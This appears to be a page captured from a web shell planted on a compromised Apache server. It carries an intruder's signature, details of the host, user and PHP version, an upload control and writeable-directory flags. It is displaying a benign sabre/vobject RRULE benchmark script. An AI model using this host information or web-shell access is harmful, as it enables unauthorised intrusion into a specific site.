Heray-Was-Here
Server : Apache
System : Linux mail.lomejor.cr 6.8.0-1059-azure #65~22.04.1-Ubuntu SMP Thu May 28 16:59:19 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.2.31
Disable Function : NONE
Directory :  /var/www/erp/htdocs/includes/sabre/sabre/vobject/bin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/erp/htdocs/includes/sabre/sabre/vobject/bin/rrulebench.php
<?php

include __DIR__ . '/../vendor/autoload.php';

if ($argc < 4) {
    echo "sabre/vobject ", Sabre\VObject\Version::VERSION, " RRULE benchmark\n";
    echo "\n";
    echo "This script can be used to measure the speed of the 'recurrence expansion'\n";
    echo "system.";
    echo "\n";
    echo "Usage: " . $argv[0] . " inputfile.ics startdate enddate\n";
    die();
}

list(, $inputFile, $startDate, $endDate) = $argv;

$bench = new Hoa\Bench\Bench();
$bench->parse->start();

echo "Parsing.\n";
$vobj = Sabre\VObject\Reader::read(fopen($inputFile, 'r'));

$bench->parse->stop();

echo "Expanding.\n";
$bench->expand->start();

$vobj->expand(new DateTime($startDate), new DateTime($endDate));

$bench->expand->stop();

echo $bench,"\n";

Hry